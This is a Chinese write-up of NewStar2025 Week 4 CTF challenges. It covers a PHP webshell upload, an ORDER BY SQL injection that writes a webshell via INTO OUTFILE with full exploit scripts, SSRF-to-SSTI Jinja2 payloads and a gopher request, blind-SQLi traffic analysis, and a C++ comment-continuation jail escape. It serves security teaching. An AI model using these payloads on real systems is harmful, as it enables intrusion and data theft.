NewStar2025 Week4 Writeup
by 🧑🚀 Madel1ne on 2025/11/02
Web
武功秘籍
题目描述:小Z正在进攻高人留下的cms遗迹,却久久没有进展,突然他戒指里的老爷爷传音给他:“小Z啊,凭你的能力可能没法打破这个遗迹的防护阵法,但是我这里有一本诸多高手共同编辑的武功秘籍,从中记载了大量的阵法漏洞,可助你一臂之力!”小Z从戒指中取出武功秘籍,外观上已经年久泛黄,但是书名仔细辨认还是可以辨认出一个名称——CVE(做此题时请不要使用校园网,可能会出现一些奇奇怪怪的问题)
点击首页的新闻中心或产品中心,会跳转到后台登录页,F12有提示

提示密码设置不强,猜测弱密码,admin/admin。成功后先添加一个新闻类


然后点添加新闻

写一个php一句话木马,提交后抓包,修改一下类型



php木马的路径在文件管理器可以找到,用蚁剑连接


flag在根目录

sqlupload
题目描述:哈哈,这次我用 sql 来管理 upload 的文件就不会出问题了吧!【本题 flag 在根目录下的 flag 文件中】
环境分析
1. 系统架构
- 操作系统:Ubuntu 20.04
- Web 服务器:Apache2
- 数据库:MySQL
- Web 目录:/var/www/html/
- Flag 位置:/flag(需通过 /readFlag 程序读取)
2. 关键配置
查看 start.sh 和 Dockerfile,发现关键配置:
# MySQL 配置允许写文件到任意位置
echo "secure_file_priv=\"\"" >> /etc/mysql/mysql.conf.d/mysqld.cnf
# /readFlag 程序设置了 SUID
chmod 4755 /readFlag
3. 数据库结构
CREATE TABLE uploads (
id INT AUTO_INCREMENT PRIMARY KEY,
filename VARCHAR(255) NOT NULL,
content LONGBLOB NOT NULL,
upload_time TIMESTAMP DEFAULT CURRENT_timestamp
);
漏洞分析
1. 漏洞位置
文件:src/getFileList.php (第 28-35 行)
$order = $_GET['order'] ?? "upload_time";
if (!preg_match("/upload_time|id/", $order)) {
json_error("非法的 order 参数", 400);
}
$sql = "SELECT id, filename, upload_time
FROM uploads
ORDER BY $order";
$result = $mysqli->query($sql);
2. 漏洞成因
- 弱过滤:
preg_match("/upload_time|id/", $order)只检查参数中是否包含"upload_time"或"id",而不是严格匹配 - SQL 拼接:
$order参数直接拼接到 SQL 语句中,未使用预编译 - 注入点位置:注入点在
ORDER BY子句,这给了我们特殊的利用机会
关键知识点
MySQL SELECT 完整语法
这是解题的核心知识点:
SELECT column_list
FROM table_name
WHERE condition
GROUP BY column_list
HAVING condition
ORDER BY column_list
LIMIT offset, count
INTO OUTFILE 'file_path'
[FIELDS TERMINATED BY 'string']
[LINES STARTING BY 'string']
[LINES TERMINATED BY 'string'];
重要发现:INTO OUTFILE 可以出现在 ORDER BY 之后!
INTO OUTFILE 的特殊用法
MySQL 的 INTO OUTFILE 支持多种格式化选项:
-- 在每行开头添加内容
LINES STARTING BY 'prefix'
-- 在每行结尾添加内容
LINES TERMINATED BY 'suffix'
-- 字段之间的分隔符
FIELDS TERMINATED BY 'delimiter'
-- 字段的包围符
FIELDS ENCLOSED BY 'char'
漏洞利用
攻击思路
由于注入点在 ORDER BY 子句,而 INTO OUTFILE 可以出现在 ORDER BY 之后,我们可以:
- 构造包含
"id"的 payload 以绕过检查 - 在
id后直接添加INTO OUTFILE语句 - 使用
LINES STARTING BY在输出内容前插入 PHP 代码 - 将文件写入到 Web 目录
- 访问该文件执行命令获取 flag
Payload 构造
核心payload构造:
order=id INTO OUTFILE '/var/www/html/shell.php' LINES STARTING BY '<?php system("/readFlag"); ?>'--
完整 SQL 语句:
SELECT id, filename, upload_time
FROM uploads
ORDER BY id INTO OUTFILE '/var/www/html/shell.php' LINES STARTING BY '<?php system("/readFlag"); ?>'--
Payload 解析:
id- 包含关键字,绕过preg_match检查 ✓INTO OUTFILE '/var/www/html/shell.php'- 指定输出文件路径LINES STARTING BY '<?php system("/readFlag"); ?>'- 在每行开头插入 PHP 代码--- 注释掉后面的内容(实际上后面已经没有内容了)
写入文件内容示例:
假设查询返回一条记录:1, test.txt, 2024-01-01 00:00:00
写入的文件内容:
<?php system("/readFlag"); ?>1 test.txt 2024-01-01 00:00:00
攻击步骤
步骤 1:上传测试文件
首先需要上传一个文件,确保数据库中有数据(否则查询无结果,INTO OUTFILE 不会执行)
curl -X POST https://target.com/upload.php \
-F "file=@test.txt"
步骤 2:SQL 注入写入 Webshell
curl -G https://target.com/getFileList.php \
--data-urlencode "order=id INTO OUTFILE '/var/www/html/shell.php' LINES STARTING BY '<?php system(\"/readFlag\"); ?>'"
步骤 3:访问 Webshell 获取 Flag
curl https://target.com/shell.php
完整利用脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SQLUpload 正确解法
MySQL SELECT 语法顺序:
SELECT ... FROM ... WHERE ... GROUP BY ... HAVING ... ORDER BY ... LIMIT ... INTO OUTFILE '...'
注意:INTO OUTFILE 可以在 ORDER BY 之后,LIMIT 之后!
所以我们的 payload 结构应该是:
order = "id LIMIT 1 INTO OUTFILE '/path' LINES TERMINATED BY '<?php code ?>'-- "
或者更简单:
order = "id INTO OUTFILE '/path' LINES STARTING BY '<?php code ?>'-- "
"""
import requests
import urllib3
import time
urllib3.disable_warnings()
BASE_URL = "https://eci-2ze5i7cbu6fweacbrtbl.cloudeci1.ichunqiu.com"
def exploit():
print("="*70)
print(" SQLUpload 题目解法")
print("="*70)
print(f"目标: {BASE_URL}\n")
# 上传测试文件确保数据库有数据
print("[1] 上传测试文件...")
try:
upload_url = f"{BASE_URL}/upload.php"
files = {'file': ('test.txt', 'test\n', 'text/plain')}
resp = requests.post(upload_url, files=files, timeout=10, verify=False)
print(f" {resp.json()}\n")
except:
pass
php_shell = '<?php system("/readFlag"); ?>'
list_url = f"{BASE_URL}/getFileList.php"
print("[2] 测试关键 Payload...\n")
# 核心 payloads
payloads = [
# 方法1: 使用 LINES STARTING BY 在每行开头添加 PHP 代码
{
"payload": f"id INTO OUTFILE '/var/www/html/shell1.php' LINES STARTING BY '{php_shell}'-- ",
"file": "shell1.php",
"desc": "使用 LINES STARTING BY"
},
# 方法2: 使用 LINES TERMINATED BY 在每行结尾添加
{
"payload": f"id INTO OUTFILE '/var/www/html/shell2.php' LINES TERMINATED BY '\n{php_shell}'-- ",
"file": "shell2.php",
"desc": "使用 LINES TERMINATED BY"
},
# 方法3: 使用 FIELDS ENCLOSED BY
{
"payload": f"id INTO OUTFILE '/var/www/html/shell3.php' FIELDS TERMINATED BY '{php_shell}'-- ",
"file": "shell3.php",
"desc": "使用 FIELDS TERMINATED BY"
},
# 方法4: 直接写入,不使用修饰符(这会写入查询结果)
{
"payload": f"id LIMIT 1 INTO OUTFILE '/var/www/html/shell4.php'-- ",
"file": "shell4.php",
"desc": "直接写入查询结果"
},
# 方法5: 使用 HEX 编码避免引号问题
{
"payload": f"id INTO OUTFILE '/var/www/html/shell5.php' LINES STARTING BY 0x{php_shell.encode().hex()}-- ",
"file": "shell5.php",
"desc": "HEX 编码 PHP 代码"
},
]
for idx, p in enumerate(payloads, 1):
print(f"[测试 {idx}] {p['desc']}")
print(f" Payload: {p['payload'][:60]}...")
try:
resp = requests.get(list_url, params={'order': p['payload']}, timeout=10, verify=False)
print(f" 状态码: {resp.status_code}")
if resp.status_code == 200:
print(f" 响应: 成功")
# 等待文件写入
time.sleep(0.5)
# 尝试访问生成的文件
shell_url = f"{BASE_URL}/{p['file']}"
try:
shell_resp = requests.get(shell_url, timeout=5, verify=False)
if shell_resp.status_code == 200:
print(f" ✓ 文件 {p['file']} 创建成功!")
print(f"\n{'='*70}")
print(" FLAG 内容:")
print("="*70)
print(shell_resp.text)
print("="*70)
if 'flag{' in shell_resp.text or 'FLAG{' in shell_resp.text:
return True
else:
print(f" ✗ 文件不存在 ({shell_resp.status_code})")
except Exception as e:
print(f" ✗ 无法访问文件: {e}")
else:
error = resp.text[:100]
print(f" ✗ 失败: {error}")
except Exception as e:
print(f" ✗ 异常: {e}")
print()
# 最后检查所有可能的文件
print("[3] 检查所有可能生成的文件...")
for i in range(1, 6):
filename = f"shell{i}.php"
try:
url = f"{BASE_URL}/{filename}"
resp = requests.get(url, timeout=3, verify=False)
if resp.status_code == 200 and resp.text.strip():
print(f" [+] {filename}: {resp.text[:50]}...")
if 'flag{' in resp.text or 'FLAG{' in resp.text:
print(f"\n{'='*70}")
print(f" 在 {filename} 中找到 FLAG!")
print("="*70)
print(resp.text)
print("="*70)
return True
except:
pass
return False
if __name__ == "__main__":
success = exploit()
print()
if success:
print("[SUCCESS] 解题成功!")
else:
print("[FAILED] 未能获取 flag")
print("\n可能的原因:")
print("1. INTO OUTFILE 语法不对")
print("2. 文件写入权限问题")
print("3. secure_file_priv 限制")
print("4. ORDER BY 后不能直接跟 INTO OUTFILE (需要验证)")

ssti在哪里?
题目描述:难道不是ssrf吗?
把附件的所有文件丢给AI分析,让AI写出解题脚本


#!/usr/bin/env python3
"""
where_is_ssti CTF Challenge Exploit
攻击链: SSRF -> Flask(5000) -> Flask(5001) -> SSTI -> 读取环境变量
"""
import requests
from urllib.parse import quote
# 目标地址
TARGET_URL = "http://39.106.48.123:43273/"
def exploit():
print("[*] 开始攻击 where_is_ssti 挑战...")
print("[*] 攻击链: SSRF -> Flask(5000) -> Flask(5001) -> SSTI")
# SSTI Payload - 读取环境变量中的flag
# Flask/Jinja2 SSTI payload to read environment variables
ssti_payloads = [
# Payload 1: 直接读取环境变量
"{{config}}",
# Payload 2: 通过__globals__读取os.environ
"{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ}}",
# Payload 3: 更简洁的方式
"{{config.items()}}",
# Payload 4: 读取所有环境变量
"{{self.__init__.__globals__.__builtins__.__import__('os').environ}}",
# Payload 5: 直接读取ICQ_FLAG
"{{self.__init__.__globals__.__builtins__.__import__('os').environ.get('ICQ_FLAG')}}",
# Payload 6: 使用lipsum获取os模块
"{{lipsum.__globals__.os.environ}}",
# Payload 7: 使用cycler
"{{cycler.__init__.__globals__.os.environ}}",
]
print("\n" + "="*60)
for i, ssti_payload in enumerate(ssti_payloads, 1):
print(f"\n[+] 尝试 Payload {i}: {ssti_payload[:50]}...")
# 构造SSRF URL
# 通过SSRF访问内部Flask服务(5000),POST参数name会被转发到5001的template参数
ssrf_url = f"http://localhost:5000/"
# 构造POST请求体 - 需要URL编码
post_data = f"name={quote(ssti_payload)}"
# 完整的SSRF payload
# 使用gopher协议或直接POST (curl支持POST)
# 由于curl_setopt只设置了URL,我们需要用其他方法
# 方法1: 使用127.0.0.1访问内部服务(可能被过滤)
payload_url = f"http://127.0.0.1:5000/"
try:
# 发送请求到PHP SSRF端点
response = requests.post(
TARGET_URL,
data={
'url': payload_url,
'name': ssti_payload # 尝试直接传递
},
timeout=10,
allow_redirects=False
)
print(f"[*] 状态码: {response.status_code}")
print(f"[*] 响应长度: {len(response.text)}")
if response.text and len(response.text) > 20:
print(f"[*] 响应内容预览:")
print("-" * 60)
print(response.text[:500])
print("-" * 60)
# 查找flag
if 'flag{' in response.text.lower() or 'icq_flag' in response.text.lower():
print("\n" + "!"*60)
print("[!!! SUCCESS !!!] 找到Flag相关信息!")
print("!"*60)
print(response.text)
return response.text
except Exception as e:
print(f"[-] Payload {i} 失败: {e}")
print("\n" + "="*60)
print("\n[*] 尝试使用Gopher协议构造完整POST请求...")
# 方法2: 使用Gopher协议构造完整的HTTP POST请求
ssti_payload = "{{lipsum.__globals__.os.environ}}"
# 构造HTTP POST请求
post_body = f"name={quote(ssti_payload)}"
http_request = (
f"POST / HTTP/1.1\r\n"
f"Host: localhost:5000\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(post_body)}\r\n"
f"\r\n"
f"{post_body}"
)
# Gopher协议需要URL编码
gopher_payload = "gopher://127.0.0.1:5000/_" + quote(http_request, safe='')
print(f"[*] Gopher Payload (前100字符): {gopher_payload[:100]}...")
try:
response = requests.post(
TARGET_URL,
data={'url': gopher_payload},
timeout=10
)
print(f"[*] 状态码: {response.status_code}")
print(f"[*] 响应内容:")
print("-" * 60)
print(response.text)
print("-" * 60)
if 'flag{' in response.text.lower():
print("\n[!!! SUCCESS !!!] 找到Flag!")
return response.text
except Exception as e:
print(f"[-] Gopher方法失败: {e}")
print("\n[*] 提示:如果上述方法都不行,可能需要:")
print(" 1. 检查内部服务是否可以直接通过localhost/127.0.0.1访问")
print(" 2. 尝试其他SSTI payload")
print(" 3. 使用其他协议如file://、dict://等")
if __name__ == "__main__":
exploit()

Misc
流量分析-听声辩位
题目描述:在城邦外的流量海峡中,海豚们通过发出"ascii"音的大小来判断在集体流量游动的顺序。城邦捕获了海豚们集结出发时的声音,现在需要挑战者通过声音大小的判断来确定是哪些海豚出行
解题思路
1. 题目分析
题目给出一个pcapng网络流量包,题目描述提到”ascii音的大小”,这暗示了:
- 这是一道SQL盲注题目
- 需要通过ASCII值的比较来提取数据
- 需要分析网络流量来重构被盗取的数据
2. 流量包分析
使用Scapy或Wireshark打开流量包,可以发现:
# 安装依赖
pip install scapy
# 读取流量包
from scapy.all import rdpcap
packets = rdpcap('blindsql.pcapng')
流量包中包含大量HTTP GET请求,例如:
GET /Mimikyu-main/sqli/Less-5/?id=1' AND ORD(MID((SELECT IFNULL(CAST(`value` AS NCHAR),0x20)
FROM newstar2025.week4 ORDER BY id LIMIT 0,1),1,1))>102 AND 'XEKs'='XEKs
3. SQL盲注原理
什么是盲注? 盲注是一种SQL注入技术,当网页不直接显示SQL查询结果时使用。攻击者通过观察页面响应的差异(如响应时间、内容长度等)来推断数据。
本题使用的盲注技术:
- 布尔盲注(Boolean-based Blind SQL Injection)
- 使用
ORD(MID(...))函数逐字符提取数据 ORD(): 返回字符的ASCII值MID(string, position, length): 提取字符串的子串
注入逻辑:
ORD(MID((SELECT value FROM newstar2025.week4), 位置, 1)) > ASCII值
- 如果条件为真,返回一种响应
- 如果条件为假,返回另一种响应
4. 二分查找算法
攻击者使用二分查找来高效猜测每个字符:
假设要猜测第1个字符:
1. 测试 > 64 (中间值)
2. 测试 > 96
3. 测试 > 112
4. 测试 > 104
5. 测试 > 100
6. 测试 > 102
7. 测试 > 101
通过真假结果,确定字符ASCII值为102 ('f')
5. 识别响应模式
关键发现:
- 响应长度为 1037字节 = 条件为真
- 响应长度为 1070字节 = 条件为假
通过分析请求-响应对,可以判断每次比较的结果。
6. 数据提取算法
对于每个字符位置:
- 收集所有测试值和对应的响应
- 找出最大的”真”值(max_true)和最小的”假”值(min_false)
- 实际字符的ASCII值 = max_true + 1 = min_false
示例:
位置1的测试:
- ORD(char) > 64 => 假 (1070)
- ORD(char) > 96 => 假 (1070)
- ORD(char) > 100 => 假 (1070)
- ORD(char) > 101 => 假 (1070)
- ORD(char) > 102 => 真 (1037)
- ORD(char) > 104 => 真 (1037)
- ORD(char) > 112 => 真 (1037)
结论:max_true=101, min_false=102
字符 = chr(102) = 'f'
7. 完整提取流程
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import rdpcap, Raw, TCP
import re
from urllib.parse import unquote
from collections import defaultdict
def print_section(title):
"""打印章节标题"""
print("\n" + "=" * 70)
print(f" {title}")
print("=" * 70)
def analyze_pcap_basic(pcap_file):
"""第一步:基础分析PCAP文件"""
print_section("步骤1: 基础流量分析")
packets = rdpcap(pcap_file)
print(f"[*] 总数据包数量: {len(packets)}")
# 统计协议
protocols = defaultdict(int)
http_requests = 0
for pkt in packets:
if pkt.haslayer(TCP):
protocols['TCP'] += 1
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if b'GET ' in payload or b'POST ' in payload:
http_requests += 1
print(f"[*] TCP 数据包: {protocols['TCP']}")
print(f"[*] HTTP 请求数: {http_requests}")
return packets
def extract_sample_requests(packets, max_samples=3):
"""第二步:提取样本请求进行分析"""
print_section("步骤2: 提取样本SQL注入请求")
sample_count = 0
for pkt in packets:
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if b'GET ' in payload and sample_count < max_samples:
try:
payload_str = payload.decode('utf-8', errors='ignore')
if 'ORD' in payload_str or 'MID' in payload_str:
print(f"\n[样本 {sample_count + 1}]")
print("-" * 70)
# 提取GET行
lines = payload_str.split('\r\n')
get_line = lines[0] if lines else payload_str[:200]
print(f"原始请求: {get_line[:150]}...")
# URL解码
decoded = unquote(get_line)
print(f"\nURL解码后: {decoded[:200]}...")
sample_count += 1
except:
pass
print(f"\n[*] 找到 {sample_count} 个样本请求")
def analyze_sql_injection_pattern(packets):
"""第三步:分析SQL盲注模式"""
print_section("步骤3: 分析盲注攻击模式")
# 正则表达式解析SQL注入结构
pattern = r'ORD\(MID\(\(SELECT\s+IFNULL\(CAST\(`(\w+)`.*?\).*?,(\d+),1\)\)>(\d+)'
print("[*] 盲注攻击原理:")
print(" 1. 使用 MID(string, position, 1) 提取指定位置的单个字符")
print(" 2. 使用 ORD(char) 获取字符的ASCII值")
print(" 3. 使用二分查找法比较 ASCII > N 来逐步缩小范围")
print(" 4. 根据响应包长度判断条件真假 (长度1037=真)")
print("\n[*] SQL注入语句结构:")
print(" ORD(MID((SELECT IFNULL(CAST(`字段名` ...), position, 1)) > ascii_value")
print(" └─ 如果条件为真,响应包长度为 1037 字节")
print(" └─ 如果条件为假,响应包长度不同")
# 统计不同字段和位置
field_positions = defaultdict(set)
ascii_ranges = defaultdict(list)
for pkt in packets:
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if b'GET ' in payload:
try:
payload_str = payload.decode('utf-8', errors='ignore')
req_decoded = unquote(payload_str)
match = re.search(pattern, req_decoded, re.IGNORECASE)
if match:
field_name = match.group(1)
position = int(match.group(2))
ascii_val = int(match.group(3))
field_positions[field_name].add(position)
ascii_ranges[field_name].append(ascii_val)
except:
pass
print("\n[*] 检测到的查询字段:")
for field, positions in field_positions.items():
print(f" - {field}: 查询了 {len(positions)} 个字符位置 (位置 1 到 {max(positions)})")
ascii_vals = ascii_ranges[field]
print(f" ASCII测试范围: {min(ascii_vals)} - {max(ascii_vals)}")
def extract_response_pattern(packets):
"""第四步:分析响应模式"""
print_section("步骤4: 响应包特征分析")
response_lengths = defaultdict(int)
for pkt in packets:
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if b'HTTP/1.1' in payload:
length = len(payload)
response_lengths[length] += 1
print("[*] 响应包长度统计:")
for length in sorted(response_lengths.keys()):
count = response_lengths[length]
marker = " <- 条件为真的标志" if length == 1037 else ""
print(f" 长度 {length}: {count} 次{marker}")
def extract_flag(packets):
"""第五步:提取FLAG"""
print_section("步骤5: 提取FLAG数据")
# 解析SQL注入查询
pattern = r'ORD\(MID\(\(SELECT\s+IFNULL\(CAST\(`(\w+)`.*?\).*?,(\d+),1\)\)>(\d+)'
# 存储每个字段每个位置的ASCII值测试
field_data = defaultdict(lambda: defaultdict(list))
request_count = 0
for i in range(len(packets)):
pkt = packets[i]
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if b'GET ' in payload:
try:
payload_str = payload.decode('utf-8', errors='ignore')
req_decoded = unquote(payload_str)
match = re.search(pattern, req_decoded, re.IGNORECASE)
if match:
field_name = match.group(1)
position = int(match.group(2))
ascii_val = int(match.group(3))
# 查找对应的响应
response_success = False
for j in range(i + 1, min(i + 20, len(packets))):
resp_pkt = packets[j]
if resp_pkt.haslayer(Raw):
resp_payload = resp_pkt[Raw].load
if b'HTTP/1.1' in resp_payload:
resp_len = len(resp_payload)
if resp_len == 1037: # 条件为真
response_success = True
break
field_data[field_name][position].append((ascii_val, response_success))
request_count += 1
except:
pass
print(f"[*] 成功解析 {request_count} 个SQL查询请求")
print(f"[*] 涉及 {len(field_data)} 个数据库字段")
# 重构字符串
def reconstruct_string(position_data, show_detail=True):
result = []
max_pos = max(position_data.keys()) if position_data else 0
if show_detail:
print(f"\n 字符串长度: {max_pos} 字符")
print(" " + "-" * 66)
for pos in range(1, max_pos + 1):
tests = position_data.get(pos, [])
if not tests:
if show_detail:
print(f" 位置 {pos:2d}: 无数据,停止")
break
# 二分查找逻辑:ORD(char) > N
max_true = -1 # 最大的使条件为真的值
min_false = 256 # 最小的使条件为假的值
for ascii_val, success in tests:
if success:
max_true = max(max_true, ascii_val)
else:
min_false = min(min_false, ascii_val)
# 实际ASCII值 = max_true + 1 (因为 ORD(char) > max_true 为真)
char_ascii = max_true + 1
# 检查是否为结束符
if char_ascii <= 1 or char_ascii == 32:
if show_detail:
print(f" 位置 {pos:2d}: ASCII={char_ascii} (字符串结束)")
break
char = chr(char_ascii)
result.append(char)
if show_detail:
# 显示二分查找的范围
print(f" 位置 {pos:2d}: ASCII={char_ascii:3d} -> '{char}' "
f"[测试{len(tests)}次, 范围: {max_true} < x <= {min_false}]")
return ''.join(result)
# 提取所有字段
print("\n[*] 开始重构数据:")
results = {}
for field_name in sorted(field_data.keys()):
print(f"\n 字段: {field_name}")
position_data = field_data[field_name]
value = reconstruct_string(position_data, show_detail=True)
results[field_name] = value
return results
def main():
"""主函数"""
print("""
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ BlindSQL 盲注流量分析 ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
""")
pcap_file = 'blindsql.pcapng'
# 步骤1: 基础分析
packets = analyze_pcap_basic(pcap_file)
# 步骤2: 提取样本
extract_sample_requests(packets, max_samples=2)
# 步骤3: 分析SQL注入模式
analyze_sql_injection_pattern(packets)
# 步骤4: 响应模式分析
extract_response_pattern(packets)
# 步骤5: 提取FLAG
results = extract_flag(packets)
# 最终结果
print_section("最终结果")
for field_name, value in results.items():
print(f"\n[+] {field_name} = {value}")
print("\n" + "=" * 70)
print("\n[*] FLAG提取完成!")
# 题目呼应
print("\n[*] 题目解析:")
print(" '海豚通过ASCII音的大小判断流量顺序'")
print(" └─ 对应: 通过比较ASCII值大小 (ORD > N) 进行盲注")
print("\n '通过声音大小的判断来确定是哪些海豚'")
print(" └─ 对应: 通过二分查找ASCII值来确定每个字符")
print("\n[*] 分析完成!")
if __name__ == '__main__':
main()

jail-Neuro jail
题目描述:Neuro 打 osu 的时候被关进 jail 了!一定是 Evil 干的,快点帮帮 Neuro 逃出 jail!【如果出现乱码问题,请在终端输入 chcp 65001】
1. 问题分析
查看附件源码
- 程序接收base64编码的输入
- 解码后检查长度 ≤ 200 字符
- 黑名单字符:
(,),[,],{,},<,> - 代码被注入到C++模板中
- 编译并运行,如果输出包含 “NewStar!!!” 就获得flag
2. 模板结构
#include <iostream>
#include <string>
int main() {
/* YOUR CODE HERE */
std::string s = "NoWay";
std::cout << s;
return 0;
}
3. 解决方案
使用C++的行继续特性:反斜杠 \ 在行尾会将下一行连接到当前行。
即使在注释中,//\ 也会使下一行成为注释的一部分!
4. Payload
std::string s="NewStar!!!"; //\
5. 注入后的代码
#include <iostream>
#include <string>
int main() {
std::string s="NewStar!!!"; //\
std::string s = "NoWay";
std::cout << s;s
return 0;
}
6. 预处理后的等效代码
#include <iostream>
#include <string>
int main() {
std::string s="NewStar!!!"; // std::string s = "NoWay";
std::cout << s; // 输出 "NewStar!!!"
return 0;
}
原始的 std::string s = "NoWay"; 被注释掉了!
7. Base64 Payload
c3RkOjpzdHJpbmcgcz0iTmV3U3RhciEhISI7IC8vXA==
程序将输出 “NewStar!!!” 并显示 flag!

区块链-智能合约
题目描述:如果你想和工坊签订合约,就来这个地址找它吧!
合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08 合约在 sepolia 测试链上进行
不太懂区块链,我把题目描述和附件的代码都给了Claude 4.5,Claude4.5分析后给出了js代码


// 解题脚本:读取链上存储获取 flag
const { ethers } = require('ethers');
async function solve() {
// 连接到 Sepolia 测试网 (ethers v5 语法)
// 使用公共 RPC 端点
const provider = new ethers.providers.JsonRpcProvider('https://ethereum-sepolia-rpc.publicnode.com');
const contractAddress = '0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08';
console.log('正在读取合约存储...\n');
// Solidity 存储布局:
// slot 0: flag (string)
// slot 1: password (uint256)
// slot 2: unlocked mapping
// 读取 slot 0 - flag(string 类型)
const slot0 = await provider.getStorageAt(contractAddress, 0);
console.log('Slot 0 (flag) 原始数据:', slot0);
// 解析 string 类型的存储
// 如果字符串长度 < 32 字节,最后一个字节存储 length*2,字符串直接存在 slot 0
const lastByte = parseInt(slot0.slice(-2), 16);
if (lastByte % 2 === 0) {
// 短字符串(< 32 字节)
const length = lastByte / 2;
const flagHex = slot0.slice(2, 2 + length * 2);
const flag = Buffer.from(flagHex, 'hex').toString('utf8');
console.log('Flag 长度:', length);
console.log('Flag:', flag);
} else {
// 长字符串(>= 32 字节)
const length = (BigInt(slot0) - 1n) / 2n;
console.log('Flag 长度:', length);
// 计算数据存储位置
const dataSlot = ethers.utils.keccak256(ethers.utils.hexZeroPad('0x00', 32));
let flagData = '';
// 读取所需的槽位
const slotsNeeded = Math.ceil(Number(length) / 32);
for (let i = 0; i < slotsNeeded; i++) {
const slot = BigInt(dataSlot) + BigInt(i);
const data = await provider.getStorageAt(contractAddress, slot);
flagData += data.slice(2);
}
const flagHex = flagData.slice(0, Number(length) * 2);
const flag = Buffer.from(flagHex, 'hex').toString('utf8');
console.log('Flag:', flag);
}
console.log('');
// 读取 slot 1 - password
const slot1 = await provider.getStorageAt(contractAddress, 1);
const password = BigInt(slot1);
console.log('Slot 1 (password):', slot1);
console.log('Password (十进制):', password.toString());
console.log('Password (十六进制):', '0x' + password.toString(16));
}
solve().catch(console.error);
用node运行脚本,node solve_vault.js,得到flag

混乱的网站
题目描述:网站还没搭建完成就遭到了致命的攻击。我的代码怎么乱七八糟的,挑战者们能帮我看看代码里隐藏了什么吗flag格式:flag{flag1_flag2}
flag1
抓包
访问首页并抓包,可以得到一段很长很长的JavaScript混淆代码

HTTP/1.1 200 OK
Date: Wed, 22 Oct 2025 12:50:54 GMT
Content-Type: application/javascript
Connection: keep-alive
Last-Modified: Wed, 08 Oct 2025 15:10:44 GMT
ETag: "b69-640a716a6a500-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 2921
(function(){var Aij$cmYht1=['\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x55\x76','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x6b\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d'];var lot2=['\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d','\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d','\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b','\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d','\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'];function _pick(CjQmMUp3,K$kHfNWZ4){return CjQmMUp3[(K$kHfNWZ4*7+3)%CjQmMUp3['\x6c\x65\x6e\x67\x74\x68']]}function _b64decode(qhC5){if(typeof atob==='\x66\x75\x6e\x63\x74\x69\x6f\x6e'){try{return atob(qhC5)}catch(e){}}var aVeUV6='\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';var LegKEfpY7='';qhC5=qhC5['\x72\x65\x70\x6c\x61\x63\x65'](/[^A-Za-z0-9\+\/\=]/g,'');for(var snkimliGd8=0;snkimliGd8<qhC5['\x6c\x65\x6e\x67\x74\x68'];){var d9=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pTr10=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var Ghn11=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var IE12=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pvoGIOqE_13=(d9<<2)|(pTr10>>4);var YOM14=((pTr10&15)<<4)|(Ghn11>>2);var _nvy15=((Ghn11&3)<<6)|IE12;LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](pvoGIOqE_13);if(Ghn11!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](YOM14);if(IE12!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_nvy15)}try{return 